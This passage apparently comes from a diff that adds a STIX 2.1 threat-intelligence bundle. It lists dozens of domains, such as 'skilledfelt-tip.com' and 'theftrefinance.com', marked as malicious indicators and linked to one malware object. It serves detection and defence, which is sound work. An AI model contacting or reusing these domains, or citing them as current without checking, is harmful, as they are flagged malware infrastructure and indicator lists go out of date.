"stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.642072Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--9f85bb62-057a-4c80-a1e4-1c22bd600ab9", + "created": "2023-03-29T12:58:44.642747Z", + "modified": "2023-03-29T12:58:44.642747Z", + "relationship_type": "indicates", + "source_ref": "indicator--c046ce38-98e6-4f65-9a9f-24acef2ab7c1", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--5124c260-0b8a-42a4-a7f5-3f6ce8c83315", + "created": "2023-03-29T12:58:44.642939Z", + "modified": "2023-03-29T12:58:44.642939Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='skilledfelt-tip.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.642939Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ddb4e224-d968-4edf-9c03-8fd9f7bbddc8", + "created": "2023-03-29T12:58:44.643613Z", + "modified": "2023-03-29T12:58:44.643613Z", + "relationship_type": "indicates", + "source_ref": "indicator--5124c260-0b8a-42a4-a7f5-3f6ce8c83315", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--46e20b6b-78c7-4af8-a203-a6e1a25c9b37", + "created": "2023-03-29T12:58:44.643805Z", + "modified": "2023-03-29T12:58:44.643805Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='unadorneddisburse.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.643805Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--1897cc22-4040-407d-9227-0954ea8f3ece", + "created": "2023-03-29T12:58:44.644614Z", + "modified": "2023-03-29T12:58:44.644614Z", + "relationship_type": "indicates", + "source_ref": "indicator--46e20b6b-78c7-4af8-a203-a6e1a25c9b37", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--2d3a30cb-ccf1-4904-bef3-99ba53b90e48", + "created": "2023-03-29T12:58:44.644809Z", + "modified": "2023-03-29T12:58:44.644809Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='luckinessonward.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.644809Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f967150d-ed36-4466-91c1-5153c116e0e8", + "created": "2023-03-29T12:58:44.64549Z", + "modified": "2023-03-29T12:58:44.64549Z", + "relationship_type": "indicates", + "source_ref": "indicator--2d3a30cb-ccf1-4904-bef3-99ba53b90e48", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--5458ee0d-5216-4d64-90ba-a0da8ba737ce", + "created": "2023-03-29T12:58:44.645691Z", + "modified": "2023-03-29T12:58:44.645691Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='mauvereliance.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.645691Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e9458af3-cb49-4105-9179-e11c96ec2653", + "created": "2023-03-29T12:58:44.646367Z", + "modified": "2023-03-29T12:58:44.646367Z", + "relationship_type": "indicates", + "source_ref": "indicator--5458ee0d-5216-4d64-90ba-a0da8ba737ce", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--0efec9b9-8e11-4bc9-9613-0e18e73e6725", + "created": "2023-03-29T12:58:44.646558Z", + "modified": "2023-03-29T12:58:44.646558Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='rainandgains.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.646558Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--4dce274c-c9e2-47dd-b01a-ce70b5e5693a", + "created": "2023-03-29T12:58:44.647216Z", + "modified": "2023-03-29T12:58:44.647216Z", + "relationship_type": "indicates", + "source_ref": "indicator--0efec9b9-8e11-4bc9-9613-0e18e73e6725", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--2bd97844-c740-4cb6-8fa5-521a8d285eae", + "created": "2023-03-29T12:58:44.647403Z", + "modified": "2023-03-29T12:58:44.647403Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='daresextended.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.647403Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--0972b5dd-6c9b-4a23-875a-fb3e02b6090b", + "created": "2023-03-29T12:58:44.648057Z", + "modified": "2023-03-29T12:58:44.648057Z", + "relationship_type": "indicates", + "source_ref": "indicator--2bd97844-c740-4cb6-8fa5-521a8d285eae", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--3748a337-54d7-4066-a59e-c974b848bfa8", + "created": "2023-03-29T12:58:44.648243Z", + "modified": "2023-03-29T12:58:44.648243Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='rentaltweezers.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.648243Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ae23ba18-e829-4b21-83b2-f05b85a013c7", + "created": "2023-03-29T12:58:44.648908Z", + "modified": "2023-03-29T12:58:44.648908Z", + "relationship_type": "indicates", + "source_ref": "indicator--3748a337-54d7-4066-a59e-c974b848bfa8", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--56bec682-f2d1-4ef1-b630-13730fe8c90c", + "created": "2023-03-29T12:58:44.649089Z", + "modified": "2023-03-29T12:58:44.649089Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='shiftingneatness.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.649089Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f295a2b0-7ae5-4089-81bc-bed12fcb5699", + "created": "2023-03-29T12:58:44.64974Z", + "modified": "2023-03-29T12:58:44.64974Z", + "relationship_type": "indicates", + "source_ref": "indicator--56bec682-f2d1-4ef1-b630-13730fe8c90c", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8761e456-8e1b-419b-a54f-d0488b7b6de9", + "created": "2023-03-29T12:58:44.649921Z", + "modified": "2023-03-29T12:58:44.649921Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='firsttask.nl']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.649921Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--0abe3c19-951d-455b-9f5c-ea7ca088d368", + "created": "2023-03-29T12:58:44.650552Z", + "modified": "2023-03-29T12:58:44.650552Z", + "relationship_type": "indicates", + "source_ref": "indicator--8761e456-8e1b-419b-a54f-d0488b7b6de9", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--22ff068c-0191-4f0c-a50e-c1549bf3ddf7", + "created": "2023-03-29T12:58:44.650733Z", + "modified": "2023-03-29T12:58:44.650733Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='respectbadness.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.650733Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--68d53f90-f9ce-4b6d-956f-b89e8a4bc168", + "created": "2023-03-29T12:58:44.651373Z", + "modified": "2023-03-29T12:58:44.651373Z", + "relationship_type": "indicates", + "source_ref": "indicator--22ff068c-0191-4f0c-a50e-c1549bf3ddf7", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--54c40cdb-69eb-4e5e-901e-5ca9389a64ab", + "created": "2023-03-29T12:58:44.651555Z", + "modified": "2023-03-29T12:58:44.651555Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='cloningcommend.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.651555Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--7bb6df5c-9a62-450c-8768-c1e78411c20c", + "created": "2023-03-29T12:58:44.652322Z", + "modified": "2023-03-29T12:58:44.652322Z", + "relationship_type": "indicates", + "source_ref": "indicator--54c40cdb-69eb-4e5e-901e-5ca9389a64ab", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8730c236-f117-4de8-a0b0-421e51e2933f", + "created": "2023-03-29T12:58:44.652508Z", + "modified": "2023-03-29T12:58:44.652508Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='vaporizerfiddling.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.652508Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--9f6c999c-dedf-4ddd-ab97-1472c5f8de75", + "created": "2023-03-29T12:58:44.653145Z", + "modified": "2023-03-29T12:58:44.653145Z", + "relationship_type": "indicates", + "source_ref": "indicator--8730c236-f117-4de8-a0b0-421e51e2933f", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ee955378-c0e0-491c-9371-31e915fb5173", + "created": "2023-03-29T12:58:44.653345Z", + "modified": "2023-03-29T12:58:44.653345Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='glencortowers.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.653345Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--7bb717ce-0fca-4450-b706-fc5dd49cfb48", + "created": "2023-03-29T12:58:44.65397Z", + "modified": "2023-03-29T12:58:44.65397Z", + "relationship_type": "indicates", + "source_ref": "indicator--ee955378-c0e0-491c-9371-31e915fb5173", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--5fac5b33-3af7-42dd-836a-03f120b162a3", + "created": "2023-03-29T12:58:44.654141Z", + "modified": "2023-03-29T12:58:44.654141Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='risingmoon.in']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.654141Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e054210d-464a-45fa-9f46-db72b412d721", + "created": "2023-03-29T12:58:44.654727Z", + "modified": "2023-03-29T12:58:44.654727Z", + "relationship_type": "indicates", + "source_ref": "indicator--5fac5b33-3af7-42dd-836a-03f120b162a3", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--6cd338c9-0c90-418b-a58c-f807877d64bd", + "created": "2023-03-29T12:58:44.654895Z", + "modified": "2023-03-29T12:58:44.654895Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='recouprecount.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.654895Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f13415be-306e-48aa-8929-95357d014acb", + "created": "2023-03-29T12:58:44.65549Z", + "modified": "2023-03-29T12:58:44.65549Z", + "relationship_type": "indicates", + "source_ref": "indicator--6cd338c9-0c90-418b-a58c-f807877d64bd", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--356241d4-b318-44de-8e07-b7a7561f7db9", + "created": "2023-03-29T12:58:44.655659Z", + "modified": "2023-03-29T12:58:44.655659Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='streamedservice.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.655659Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ed9938f3-e781-4bc7-9e09-638ecc4b5644", + "created": "2023-03-29T12:58:44.656252Z", + "modified": "2023-03-29T12:58:44.656252Z", + "relationship_type": "indicates", + "source_ref": "indicator--356241d4-b318-44de-8e07-b7a7561f7db9", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--cf8469bd-8037-41e5-a17e-1819ce21980f", + "created": "2023-03-29T12:58:44.65642Z", + "modified": "2023-03-29T12:58:44.65642Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='theftrefinance.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.65642Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--4add6ba1-a09d-404a-982b-e1308821a642", + "created": "2023-03-29T12:58:44.65701Z", + "modified": "2023-03-29T12:58:44.65701Z", + "relationship_type": "indicates", + "source_ref": "indicator--cf8469bd-8037-41e5-a17e-1819ce21980f", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--33faaacc-b82c-4527-b872-6cf9f02a2418", + "created": "2023-03-29T12:58:44.657178Z", + "modified": "2023-03-29T12:58:44.657178Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='liputtan6.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.657178Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--1cfa349e-9d9d-4c5c-8a66-b6a1ead0f2e2", + "created": "2023-03-29T12:58:44.657765Z", + "modified": "2023-03-29T12:58:44.657765Z", + "relationship_type": "indicates", + "source_ref": "indicator--33faaacc-b82c-4527-b872-6cf9f02a2418", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b107300d-b5c0-4acc-929a-59668131188f", + "created": "2023-03-29T12:58:44.657936Z", + "modified": "2023-03-29T12:58:44.657936Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='bashchivalry.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.657936Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d9343acf-00fa-43cb-9710-c69150ca89f2", + "created": "2023-03-29T12:58:44.658531Z", + "modified": "2023-03-29T12:58:44.658531Z", + "relationship_type": "indicates", + "source_ref": "indicator--b107300d-b5c0-4acc-929a-59668131188f", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d854b446-8f33-4769-a6a2-c7e6990b75f1", + "created": "2023-03-29T12:58:44.658698Z", + "modified": "2023-03-29T12:58:44.658698Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='trumpshallot.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.658698Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--add6dfcf-268c-4fbb-a2a1-d14a4309e223", + "created": "2023-03-29T12:58:44.6594Z", + "modified": "2023-03-29T12:58:44.6594Z", + "relationship_type": "indicates", + "source_ref": "indicator--d854b446-8f33-4769-a6a2-c7e6990b75f1", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--563c1e22-8455-4edb-a3a6-a6a2d112dc96", + "created": "2023-03-29T12:58:44.659572Z", + "modified": "2023-03-29T12:58:44.659572Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='stingerprogram.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.659572Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--fc848c65-4ead-4c31-8002-157973a1c8d5", + "created": "2023-03-29T12:58:44.66017Z", + "modified": "2023-03-29T12:58:44.66017Z", + "relationship_type": "indicates", + "source_ref": "indicator--563c1e22-8455-4edb-a3a6-a6a2d112dc96", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f5ae28c3-51d8-4a9d-a6d4-88b6d4d9eb61", + "created": "2023-03-29T12:58:44.660338Z", + "modified": "2023-03-29T12:58:44.660338Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='absolutecool.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.660338Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b2039fbd-75a4-4005-95ca-d9a7e83c4af3", + "created": "2023-03-29T12:58:44.660931Z", + "modified": "2023-03-29T12:58:44.660931Z", + "relationship_type": "indicates", + "source_ref": "indicator--f5ae28c3-51d8-4a9d-a6d4-88b6d4d9eb61", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--caecb8b7-3b41-48b5-9d31-dce723eeccba", + "created": "2023-03-29T12:58:44.6611Z", + "modified": "2023-03-29T12:58:44.6611Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='happiermanila.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.6611Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--1d194102-0ea2-4065-979b-7cac299d3544", + "created": "2023-03-29T12:58:44.661703Z", + "modified": "2023-03-29T12:58:44.661703Z", + "relationship_type": "indicates", + "source_ref": "indicator--caecb8b7-3b41-48b5-9d31-dce723eeccba", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--4b706085-fafe-49dd-8bfc-d666c5b33dda", + "created": "2023-03-29T12:58:44.661874Z", + "modified": "2023-03-29T12:58:44.661874Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='confidentreplace.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.661874Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b1efeb7d-56aa-4841-9212-bb6fad6f7f9a", + "created": "2023-03-29T12:58:44.662468Z", + "modified": "2023-03-29T12:58:44.662468Z", + "relationship_type": "indicates", + "source_ref": "indicator--4b706085-fafe-49dd-8bfc-d666c5b33dda", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--2906c7b1-e43b-48ce-ba4d-665fed8021fa", + "created": "2023-03-29T12:58:44.662638Z", + "modified": "2023-03-29T12:58:44.662638Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='landlordimpose.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.662638Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--2d776fb9-fda7-452c-8116-1b926bf4516b", + "created": "2023-03-29T12:58:44.663229Z", + "modified": "2023-03-29T12:58:44.663229Z", + "relationship_type": "indicates", + "source_ref": "indicator--2906c7b1-e43b-48ce-ba4d-665fed8021fa", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--028366d8-74f4-4930-8102-13fc87c0ffd4", + "created": "2023-03-29T12:58:44.663396Z", + "modified": "2023-03-29T12:58:44.663396Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='recycleguard.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.663396Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--0c13a50f-4d0e-45fa-a8b0-9c18b249f7a3", + "created": "2023-03-29T12:58:44.663985Z", + "modified": "2023-03-29T12:58:44.663985Z", + "relationship_type": "indicates", + "source_ref": "indicator--028366d8-74f4-4930-8102-13fc87c0ffd4", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7a7f5ed6-dd79-4caa-a235-50de2e48b023", + "created": "2023-03-29T12:58:44.664153Z", + "modified": "2023-03-29T12:58:44.664153Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='arguablyharpist.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.664153Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--4c9055a7-1f03-43a7-b895-7a2e8d29e2e7", + "created": "2023-03-29T12:58:44.664748Z", + "modified": "2023-03-29T12:58:44.664748Z", + "relationship_type": "indicates", + "source_ref": "indicator--7a7f5ed6-dd79-4caa-a235-50de2e48b023", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--937c3e32-871b-43ed-ac8d-86556845eea9", + "created": "2023-03-29T12:58:44.664916Z", + "modified": "2023-03-29T12:58:44.664916Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='repaintgrower.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.664916Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b079aac0-1369-44ac-9952-ecfbde75723a", + "created": "2023-03-29T12:58:44.665512Z", + "modified": "2023-03-29T12:58:44.665512Z", + "relationship_type": "indicates", + "source_ref": "indicator--937c3e32-871b-43ed-ac8d-86556845eea9", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c96d59e1-4938-4c17-a1fc-918e90294c8c", + "created": "2023-03-29T12:58:44.665732Z", + "modified": "2023-03-29T12:58:44.665732Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='uponsurreal.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.665732Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--abe277f8-5a9b-49ce-9861-baa4fb521ce9", + "created": "2023-03-29T12:58:44.666541Z", + "modified": "2023-03-29T12:58:44.666541Z", + "relationship_type": "indicates", + "source_ref": "indicator--c96d59e1-4938-4c17-a1fc-918e90294c8c", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7923b34b-1c17-4c85-b7b8-54aadb3ccc8f", + "created": "2023-03-29T12:58:44.666718Z", + "modified": "2023-03-29T12:58:44.666718Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='earthwormshady.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.666718Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--97318110-b452-4a47-9b6a-5fc3a8060228", + "created": "2023-03-29T12:58:44.667312Z", + "modified": "2023-03-29T12:58:44.667312Z", + "relationship_type": "indicates", + "source_ref": "indicator--7923b34b-1c17-4c85-b7b8-54aadb3ccc8f", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--3a007c92-4d17-4617-8b32-a9fa8b518598", + "created": "2023-03-29T12:58:44.66748Z", + "modified": "2023-03-29T12:58:44.66748Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='whitegardens.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.66748Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d720febc-5a19-4cec-8c0f-0b3471e09f91", + "created": "2023-03-29T12:58:44.668068Z", + "modified": "2023-03-29T12:58:44.668068Z", + "relationship_type": "indicates", + "source_ref": "indicator--3a007c92-4d17-4617-8b32-a9fa8b518598", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c3d15e50-c66b-4df6-8c4b-ab07d1bd6438", + "created": "2023-03-29T12:58:44.668239Z", + "modified": "2023-03-29T12:58:44.668239Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='shrankempirical.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.668239Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--84956db2-d343-45e3-99a0-416af76704f9", + "created": "2023-03-29T12:58:44.668829Z", + "modified": "2023-03-29T12:58:44.668829Z", + "relationship_type": "indicates", + "source_ref": "indicator--c3d15e50-c66b-4df6-8c4b-ab07d1bd6438", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--1f8add17-3a98-4676-8220-f87249b87ec8", + "created": "2023-03-29T12:58:44.668996Z", + "modified": "2023-03-29T12:58:44.668996Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='abreastelongated.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.668996Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--5f8c34fe-660a-447f-968d-b26a0be080f3", + "created": "2023-03-29T12:58:44.669596Z", + "modified": "2023-03-29T12:58:44.669596Z", + "relationship_type": "indicates", + "source_ref": "indicator--1f8add17-3a98-4676-8220-f87249b87ec8", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a30d0e87-95d1-419b-81e8-e3e8e8d909d0", + "created": "2023-03-29T12:58:44.669764Z", + "modified": "2023-03-29T12:58:44.669764Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='collisionspirited.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.669764Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--dcdb32ce-c44f-48e2-a905-66e9be87b4fd", + "created": "2023-03-29T12:58:44.670366Z", + "modified": "2023-03-29T12:58:44.670366Z", + "relationship_type": "indicates", + "source_ref": "indicator--a30d0e87-95d1-419b-81e8-e3e8e8d909d0", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c3654704-39e9-41f7-8e19-41372682d2cc", + "created": "2023-03-29T12:58:44.670535Z", + "modified": "2023-03-29T12:58:44.670535Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='pretzelpurgatory.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.670535Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--7c486b86-dabb-4f48-8fdd-932f78bf8efa", + "created": "2023-03-29T12:58:44.671132Z", + "modified": "2023-03-29T12:58:44.671132Z", + "relationship_type": "indicates", + "source_ref": "indicator--c3654704-39e9-41f7-8e19-41372682d2cc", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--26b61a49-153b-468a-a88b-a2e758b8843d", + "created": "2023-03-29T12:58:44.671301Z", + "modified": "2023-03-29T12:58:44.671301Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='smokeddeceit.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.671301Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--249f6134-66d1-4684-8029-2ecf6e4b74ae", + "created": "2023-03-29T12:58:44.671891Z", + "modified": "2023-03-29T12:58:44.671891Z", + "relationship_type": "indicates", + "source_ref": "indicator--26b61a49-153b-468a-a88b-a2e758b8843d", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--4ba09fdc-50cf-4fdf-900e-75938f3cd0ca", + "created": "2023-03-29T12:58:44.672061Z", + "modified": "2023-03-29T12:58:44.672061Z", + "indicator_types": [ + 